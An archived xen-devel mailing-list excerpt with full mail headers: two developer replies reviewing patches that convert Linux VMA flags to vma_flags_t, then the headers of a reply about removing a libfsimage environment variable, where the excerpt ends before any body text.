Received: by outflank-mailman (input) for mailman id 1352053;
 Thu, 02 Jul 2026 15:25:04 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wfJHj-0001G5-ST
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 15:25:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfJHj-00ESrZ-92
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 17:25:03 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a4682cd-5cb7-0a2a0a5109dd-0a2a4509e6a8-8
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:25:03 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ljs@kernel.org>)
 id 6a4682cd-97e6-0a2a45090019-aceafc1fb67a-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:25:02 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id C929640801;
 Thu,  2 Jul 2026 15:25:00 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 5F0E41F000E9;
 Thu,  2 Jul 2026 15:24:44 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783005900;
	bh=LX3BYrLY2k63JpXB67A/Bjg+Ew5yjhUF+WJZEyA1fRw=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=kbG+cL/z/Lm6qSE4udnGibaK8FsMK4daZd2R+hoEFAnemIecEE1GgHP0X+YmGanAO
	 lUy6V/tOsn4eLItop07tyF1+tKZLAB376Z73zBZZR/VxVccPToewSf2zWsClidLb0a
	 1ba3VdHACF4EGJhQZxBSvTHBcWlMH/zUclnichRT0/C3hk+pIj4TS7GYchozD+ZWNu
	 evu0CqyUEndELEE8NUvVmpXBep2Kukvvzwrnf2DWGzh4uAWg/PKpNORRO9bOZEjI+M
	 pMTZGas90E8+KBulzvC/BZdad1hSIx2FR4a50cjXxyZVyxi/oq6E9v6gCdozTTgwHV
	 VbLDs0NzwuGjg==
Date: Thu, 2 Jul 2026 16:24:37 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Lance Yang <lance.yang@linux.dev>
Cc: akpm@linux-foundation.org, tsbogend@alpha.franken.de, 
	maddy@linux.ibm.com, mpe@ellerman.id.au, maarten.lankhorst@linux.intel.com, 
	mripard@kernel.org, tzimmermann@suse.de, airlied@gmail.com, simona@ffwll.ch, 
	l.stach@pengutronix.de, inki.dae@samsung.com, sw0312.kim@samsung.com, 
	kyungmin.park@samsung.com, krzk@kernel.org, peter.griffin@linaro.org, 
	jani.nikula@linux.intel.com, joonas.lahtinen@linux.intel.com, rodrigo.vivi@intel.com, 
	tursulin@ursulin.net, robin.clark@oss.qualcomm.com, lumag@kernel.org, lyude@redhat.com, 
	dakr@kernel.org, tomi.valkeinen@ideasonboard.com, hjc@rock-chips.com, 
	heiko@sntech.de, andy.yan@rock-chips.com, thierry.reding@kernel.org, 
	mperttunen@nvidia.com, jonathanh@nvidia.com, kraxel@redhat.com, 
	dmitry.osipenko@collabora.com, zack.rusin@broadcom.com, matthew.brost@intel.com, 
	thomas.hellstrom@linux.intel.com, oleksandr_andrushchenko@epam.com, deller@gmx.de, bcrl@kvack.org, 
	viro@zeniv.linux.org.uk, brauner@kernel.org, muchun.song@linux.dev, osalvador@suse.de, 
	david@kernel.org, ziy@nvidia.com, baolin.wang@linux.alibaba.com, 
	liam@infradead.org, npache@redhat.com, ryan.roberts@arm.com, dev.jain@arm.com, 
	baohua@kernel.org, hughd@google.com, vbabka@kernel.org, rppt@kernel.org, 
	surenb@google.com, mhocko@suse.com, jannh@google.com, pfalcato@suse.de, 
	kees@kernel.org, perex@perex.cz, tiwai@suse.com, linux-mips@vger.kernel.org, 
	linux-kernel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
	etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
	linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, 
	freedreno@lists.freedesktop.org, nouveau@lists.freedesktop.org, 
	linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
	intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org, 
	linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, 
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 05/13] mm: prefer mm->def_vma_flags in mm logic
Message-ID: <akaCFf_SjccZznnP@lucifer>
References: <3b4ccdc38819b42ddc79ee5a795831208ac7986c.1782760670.git.ljs@kernel.org>
 <20260702121022.49113-1-lance.yang@linux.dev>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260702121022.49113-1-lance.yang@linux.dev>
X-purgate-ID: tlsNG-bad1c0/1783005903-46538986-48406A97/0/0
X-purgate-type: clean
X-purgate-size: 1764

On Thu, Jul 02, 2026 at 08:10:22PM +0800, Lance Yang wrote:
>
> On Mon, Jun 29, 2026 at 08:25:28PM +0100, Lorenzo Stoakes wrote:
> >Currently mm->def_flags (of type vm_flags_t) is union'd with
> >mm->def_vma_flags (of type vma_flags_t).
> >
> >As part of the effort to convert vm_flags_t usage to vma_flags_t (in order
> >to no longer be arbitrarily limited to a system word size for VMA flags),
> >prefer mm->def_vma_flags to mm->def_flags throughout the mm logic.
> >
> >No functional change intended.
> >
> >Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> >---
> > mm/debug.c |  2 +-
> > mm/mlock.c | 13 +++++++------
> > mm/mmap.c  | 11 ++++++-----
> > mm/vma.c   |  4 ++--
> > 4 files changed, 16 insertions(+), 14 deletions(-)
> >
> >diff --git a/mm/debug.c b/mm/debug.c
> >index 497654b36f1a..f0a354a9496a 100644
> >--- a/mm/debug.c
> >+++ b/mm/debug.c
> >@@ -226,7 +226,7 @@ void dump_mm(const struct mm_struct *mm)
> > 		mm->numa_next_scan, mm->numa_scan_offset, mm->numa_scan_seq,
> > #endif
> > 		atomic_read(&mm->tlb_flush_pending),
> >-		mm->def_flags, &mm->def_flags
> >+		vma_flags_to_legacy(mm->def_vma_flags), &mm->def_vma_flags
> > 	);
>
> While at it, one thing for later: dump_mm() still assumes one-world VMA
> flags. That works today since vma_flags_t is one word. Maybe worth a
> BUILD_BUG_ON() here, before that stops being true?

Ah yeah that could actually be pretty straightforward, if you see
https://www.kernel.org/doc/Documentation/printk-formats.txt there is a bitmap
format that could be used.

Can do that on a respin!

>
> Not a big deal though. Feel free to add:
>
> Reviewed-by: Lance Yang <lance.yang@linux.dev>
>
> > }
> > EXPORT_SYMBOL(dump_mm);
> [...]

Cheers, Lorenzo


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 15:29:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 15:29:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352064.1608995 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJMM-0002B4-8g; Thu, 02 Jul 2026 15:29:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352064.1608995; Thu, 02 Jul 2026 15:29:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJMM-0002Ax-5g; Thu, 02 Jul 2026 15:29:50 +0000
Received: by outflank-mailman (input) for mailman id 1352064;
 Thu, 02 Jul 2026 15:29:48 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wfJMK-00029m-9a
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 15:29:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfJMJ-0084eC-92
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 17:29:47 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a4683e8-e002-0a2a0a5209dd-0a2a45028da4-6
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:29:47 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ljs@kernel.org>)
 id 6a4683e8-5a27-0a2a45020019-aceafc1f89b6-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:29:46 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 25A4F418F4;
 Thu,  2 Jul 2026 15:29:44 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id BA7DF1F000E9;
 Thu,  2 Jul 2026 15:29:27 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783006184;
	bh=AmvNH9wwHqyoIMesePnV6/zMDBtlSz51dFh4yHJ1BTo=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=EZDY+QGcsghhDIw9rxbIhnPAJRijthrModhJ3dAoSN5cVM+YkTpcpEvD+KPlh/M/u
	 Qwt3kZkRl2OzXpZ8lNBF20cEMvcQmjr2C3N0OBOmi3krbMnyRHMJTEBJXrtiCGLkys
	 hVceGk9nKeLivyWhhq1nb1heVf5ntbaXnUG4S4OpDlt89/1RU+lLBy/OziQBm1WY0f
	 mLETtt6Kv1hVTKJQz++mgHlN+PUF+ac9yH5QtMrmNRfTW7GoeSyD7Rts3hi3Don33s
	 UtJfTmtwGOSlfBDJEzVdm8IjgP96nHmx5GxFIPDKfkfCebxxa9UBrNHRuHW+T6BGzw
	 FkrA9PbgKP9aQ==
Date: Thu, 2 Jul 2026 16:29:20 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Lance Yang <lance.yang@linux.dev>
Cc: akpm@linux-foundation.org, tsbogend@alpha.franken.de, 
	maddy@linux.ibm.com, mpe@ellerman.id.au, maarten.lankhorst@linux.intel.com, 
	mripard@kernel.org, tzimmermann@suse.de, airlied@gmail.com, simona@ffwll.ch, 
	l.stach@pengutronix.de, inki.dae@samsung.com, sw0312.kim@samsung.com, 
	kyungmin.park@samsung.com, krzk@kernel.org, peter.griffin@linaro.org, 
	jani.nikula@linux.intel.com, joonas.lahtinen@linux.intel.com, rodrigo.vivi@intel.com, 
	tursulin@ursulin.net, robin.clark@oss.qualcomm.com, lumag@kernel.org, lyude@redhat.com, 
	dakr@kernel.org, tomi.valkeinen@ideasonboard.com, hjc@rock-chips.com, 
	heiko@sntech.de, andy.yan@rock-chips.com, thierry.reding@kernel.org, 
	mperttunen@nvidia.com, jonathanh@nvidia.com, kraxel@redhat.com, 
	dmitry.osipenko@collabora.com, zack.rusin@broadcom.com, matthew.brost@intel.com, 
	thomas.hellstrom@linux.intel.com, oleksandr_andrushchenko@epam.com, deller@gmx.de, bcrl@kvack.org, 
	viro@zeniv.linux.org.uk, brauner@kernel.org, muchun.song@linux.dev, osalvador@suse.de, 
	david@kernel.org, ziy@nvidia.com, baolin.wang@linux.alibaba.com, 
	liam@infradead.org, npache@redhat.com, ryan.roberts@arm.com, dev.jain@arm.com, 
	baohua@kernel.org, hughd@google.com, vbabka@kernel.org, rppt@kernel.org, 
	surenb@google.com, mhocko@suse.com, jannh@google.com, pfalcato@suse.de, 
	kees@kernel.org, perex@perex.cz, tiwai@suse.com, linux-mips@vger.kernel.org, 
	linux-kernel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
	etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
	linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, 
	freedreno@lists.freedesktop.org, nouveau@lists.freedesktop.org, 
	linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
	intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org, 
	linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, 
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 06/13] mm/vma: convert vm_pgprot_modify() to use
 vma_flags_t and rename
Message-ID: <akaC-xxNr8ZyN4aH@lucifer>
References: <548ba81b2971734d4d2143237ad1465bd1b2f525.1782760670.git.ljs@kernel.org>
 <20260702122116.65642-1-lance.yang@linux.dev>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260702122116.65642-1-lance.yang@linux.dev>
X-purgate-ID: tlsNG-720697/1783006186-552E47C5-BA5FFC58/0/0
X-purgate-type: clean
X-purgate-size: 1810

On Thu, Jul 02, 2026 at 08:21:16PM +0800, Lance Yang wrote:
>
> On Mon, Jun 29, 2026 at 08:25:29PM +0100, Lorenzo Stoakes wrote:
> >Update vm_pgprot_modify() to use the new VMA flags type vma_flags_t, and
> >rename to vma_pgprot_modify() accordingly.
> >
> >This is part of the ongoing work to convert vm_flags_t to vma_flags_t, in
> >order to eliminate the arbitrary limit of the number of bits in a system
> >word on available VMA flags.
> >
> >Update VMA userland tests accordingly, updating vma_set_page_prot() to no
> >longer inline vma_pgprot_modify(), rather we can simply define
> >vma_pgprot_modify() as a static inline function and the tests will pick it
> >up from vma.h.
> >
> >No functional change intended.
> >
> >Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> >---
> [...]
> >diff --git a/mm/vma.h b/mm/vma.h
> >index bcf0c2773449..6a8abb8ae937 100644
> >--- a/mm/vma.h
> >+++ b/mm/vma.h
> >@@ -522,9 +522,11 @@ static inline bool vma_wants_manual_pte_write_upgrade(struct vm_area_struct *vma
> > }
> >
> > #ifdef CONFIG_MMU
> >-static inline pgprot_t vm_pgprot_modify(pgprot_t oldprot, vm_flags_t vm_flags)
> >+static inline pgprot_t vma_pgprot_modify(pgprot_t oldprot, vma_flags_t vma_flags)
> > {
> >-	return pgprot_modify(oldprot, vm_get_page_prot(vm_flags));
> >+	const pgprot_t prot = vma_get_page_prot(vma_flags);
> >+
> >+	return pgprot_modify(oldprot, prot);
>
> Nit: could this just stay as a single return? something like:
>
> return pgprot_modify(oldprot, vma_get_page_prot(vma_flags));

I feel it's a bit clearer this way, separating out the two, I know it's a super
tiny difference but anyway :P

>
> Otherwise, LGTM, feel free to add:
>
> Reviewed-by: Lance Yang <lance.yang@linux.dev>

Thanks!

>
> [...]

Cheers, Lorenzo


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 15:40:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 15:40:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352084.1609005 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJWI-0005MA-4m; Thu, 02 Jul 2026 15:40:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352084.1609005; Thu, 02 Jul 2026 15:40:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJWI-0005Ll-1S; Thu, 02 Jul 2026 15:40:06 +0000
Received: by outflank-mailman (input) for mailman id 1352084;
 Thu, 02 Jul 2026 15:40:05 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger.pau@citrix.com>) id 1wfJWG-00059y-Vg
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 15:40:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfJWG-00EVOQ-C2
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 17:40:04 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <roger.pau@citrix.com>)
 id 6a46864a-e002-0a2a0a5209dd-0a2a4504b9c0-24
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:40:04 +0200
Received: from [52.101.85.64]
 (helo=BYAPR05CU005.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <roger.pau@citrix.com>)
 id 6a468652-a01d-0a2a45040019-346555404dab-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:40:04 +0200
Received: from CH7PR03MB7860.namprd03.prod.outlook.com (2603:10b6:610:24e::14)
 by CO1PR03MB5683.namprd03.prod.outlook.com (2603:10b6:303:9a::8) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Thu, 2 Jul 2026
 15:40:00 +0000
Received: from CH7PR03MB7860.namprd03.prod.outlook.com
 ([fe80::f5ba:35df:1c9f:b343]) by CH7PR03MB7860.namprd03.prod.outlook.com
 ([fe80::f5ba:35df:1c9f:b343%4]) with mapi id 15.21.0181.009; Thu, 2 Jul 2026
 15:40:00 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Xq6L0EW8cmNSozruK4Mh4Uif/JXSa7SKtWbaPHgOV7qNl+04iGK0pZK4IZMXViOvw2zMRJzuRikFWLD9tFojkEUF1ReIsDvs0J5LaK8kBDUqs3aYzztXlp5d2VLjFvNk/U8tkE/+6ePEIruXGEOTF9TLSsgho3uYk/q331/V0hZbazLb1jroOBp+R8F1BRuQo1SloXPpq5fAmFHKVYHWd9BUfcm7S1Sjp3Mg1JuXdmdkWwpiWW3oWbfG7VwiOv9gKvNqvKXBTqIXLCSMmwTLTQDbmeMjAqxDf61rodk3pp2higDFt6YQ7ma1TCb8li9G8BLlArfsu5Hafzd24YpkUQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=QbowieJOT1/uNI5pXTx+Eiyli8QxGa23XmMOv8oyoDk=;
 b=P8VAt2bbmTCLvzeIFRsujQtLtM68V4L+Z2VqBbfgJUQ1RqhuIucfYrZwcO5mcil1zJamHWQGUowFh84XLxl6uXUAIuJ8oOFSGt3NvusIIBmZQ3MsG89DPdwGYsvyZjI9USVZflBnhQeiDVqJ/Winbvse74wcphrTDq45hjIrLp3EJmUPFCD+pTKrz6gL94ptm4vjyVuXX0mEINJa2wKAUbzujd3VV5mVPzbx/esK02OQOgyUGUk3o0OWIrstdbaLt+hzP8Nzbpezz5hgW/0YQUfQRpZvcGPthg6sUFWVMGZ1POYzU/077veRwzhHCUDydlfTTUVEtZXkLTtxMpE5rQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=QbowieJOT1/uNI5pXTx+Eiyli8QxGa23XmMOv8oyoDk=;
 b=G8E/OPY/nvSm+Lk7DKqW4UmeYwZEZ7Py7W+IoBaomcCRBk71eYAaKumRDl92+y1+HE8iShOKWYhKrHpNQoRT7gJgk1KOq8Dm8fUBl2fngEc0s0+uqnEw/awumTJCzvJppb3doPl1GMdhrTx74ytD7I5QefpLrMuJTcKxQqw3M/k=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Date: Thu, 2 Jul 2026 17:39:56 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: Xen-devel <xen-devel@lists.xenproject.org>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>, Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH for-4.22] tools/libfsimage: Remove the XEN_FSIMAGE_FSDIR
 environment variable
Message-ID: <akaGTETSE5m8rXmr@macbook.local>
References: <20260702150301.825883-1-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <20260702150301.825883-1-andrew.cooper3@citrix.com>
X-ClientProxiedBy: MA3P292CA0019.ESPP292.PROD.OUTLOOK.COM
 (2603:10a6:250:47::9) To CH7PR03MB7860.namprd03.prod.outlook.com
 (2603:10b6:610:24e::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH7PR03MB7860:EE_|CO1PR03MB5683:EE_
X-MS-Office365-Filtering-Correlation-Id: 4f1e905f-128a-4f97-f245-08ded8502d2f
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|366016|1800799024|6133799003|56012099006|11063799006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	cpz7LV4gsA4vsI8GwrXuWyc3HCESvIheXdm/Gx2QQ5r0yNNrdkdzVmtfKhHj5T0t9lmEHAaGl+yDaIQdafVfcQJtY2IP0zLYviS0vaXDiYYYvL8tg5k03G1yYfWgoB+kVWOf2i1KPoJT3SJF85JE8PwDI6yA6FJZgBo3V3WhyTAjPR/Ai1fBOfk6zneu0T7jXsswNutJwMajgV2AMXa1WdZhhvGWuLE9WuPh+usOOOGCwRUP/qyWKFHYgcjJJOl8meWj+PDPlxcq4HVwlfJrOV4AfVlKTc2jpztylEx0cuKRXj30/EjKw9kByCzmIdF2vnb7DpfS4yrcovY/9Bywyl4OzYeuTGF+J+kuhrEJOFuECYpb/LzLuZSYPOEoMq7dZt18atJHktAllNNnynROK/t6bHuKZZR2kNxxazKMx6myspZlaMKNnbwQb0D1+p63eL2knL4DX9hhlAMeGmTumxHzxDjdeAtj6PD6RyRg2yOQGecMrXFWL4SwJoIMLS4bpa0owSFkBcRmChbu07FxM5ATHbmavUrguldKKt/uiQbLfU9kfHdgfmfWt7Vz1jculttHMQAMT3TBOck+cs5rHrB4Aidlfrrm/Enq72pwtckh/nzsleHlOqMlER9oy8k5S0PqI6cvQrWTDECiWmfQTyaAJo5Yt5EiiF2fYMKgKJU=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH7PR03MB7860.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(376014)(366016)(1800799024)(6133799003)(56012099006)(11063799006)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?SXB2RVhrNDQ2OXM4em93WGx1VkMxS2svN1RZc3pCSnNsWndWbzEvUWs2akJB?=
 =?utf-8?B?a2ljRDNZR2l0UDRIU3hoOHRtdDhDK1NicW1aNzVKMVluRE5TTFVjc3c4R1Ir?=
 =?utf-8?B?MDJLT3c3Wjd6UTJGZDBWdVBWNy93Z0tQZ0s1Q3hYSFRBK0hreStzS0RSdTg4?=
 =?utf-8?B?T3RhdUZFc00zVUJIWk5kS05WQ0NISFlabVc4YUwxWThQdEJlZ2xaS2pGWTlJ?=
 =?utf-8?B?L2lJaEF6cVhWNkZTa3NRQWVNaWRiTi9zV0xSMG52RnkweGM0QXl1V3owRW55?=
 =?utf-8?B?cDFreDhVS2ZYK2hseHFQeGFVbUFpWVVYeUxzQm53SE54ZHkyVTlqOEg1RXdH?=
 =?utf-8?B?QXpyWHc3bE5EVEZWcG1UUkJ5UXVKeldIckFJSTJjVjlXNTdGdXBmY2tVcEFR?=
 =?utf-8?B?ck85RE96M2Rtb1RqR0hiNktPQWFoaVFSMUNwQVN1Q3RhazA2My82LzZ0bDJi?=
 =?utf-8?B?cnYzS2pMOWFrRWdFUk4wbTNLbVl2NFE3UDVCWnA3cDRYWEpid250a3RONHBG?=
 =?utf-8?B?WGV2NTh4THd2cE9hWDdNRG5RRkZ2Zi9kdkFVMWQyTzh1MzRQeGY1ZUo5NXgv?=
 =?utf-8?B?ODNDaVFOQnNNei9MK0MxUW9QYlg5SkUrRTUxSk9pZnVWYTRNamNZQ2pvblhW?=
 =?utf-8?B?L3ZxZjZuR0tMbHlMNUVFYlFmM2MzRkpBaU5hUzZycTg5SzdUalR0dE1kRTJt?=
 =?utf-8?B?Y0FUdForTnpSY0YyZkVRVTBhZW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?=
 =?utf-8?B?aHRUdVJCUERDUzJnek1wY0gzekpTRG13ZmYxS2NFMW5FVHIxQnNZV09lZ1dQ?=
 =?utf-8?B?VHFiczV5LzlhODBQc0lpOWhlemNTbHNIV0R2SS9rMmlUK2VQejhWNUx3VVlW?=
 =?utf-8?B?RzdoYXk3NGM0UzhDU2tMNVVnOEdMZC9La2NrZWYrbUU5TUVXNVdKZlJMdUhj?=
 =?utf-8?B?aisyaWp4cGdRU2tuUHp1TjFnb2JNeXJLRGZhTWl0OCtEU09hb0tmaU1SVlhF?=
 =?utf-8?B?WWpJM2cyOWd6Y0w2SjhPc0xXMzVPUjNiN1o5MXdnYWRLR3FoUUN2akF1ditB?=
 =?utf-8?B?MGxVOGtxbTVSQlB2ZEV2VkFTU0tjZFNsRW5ta053OGdaZ085UGFhN24zQTJq?=
 =?utf-8?B?R0F4MDYwaFM1bHlMOEJCQUhTYWJzQXVIL1BnZG0vM2RwQlBvdk05UG5LdHpI?=
 =?utf-8?B?TnBQZGtTa1Flczk0eVFKbGl1RndpUlorWmsrVmRYVzZEdldlekV3K25JdU5Z?=
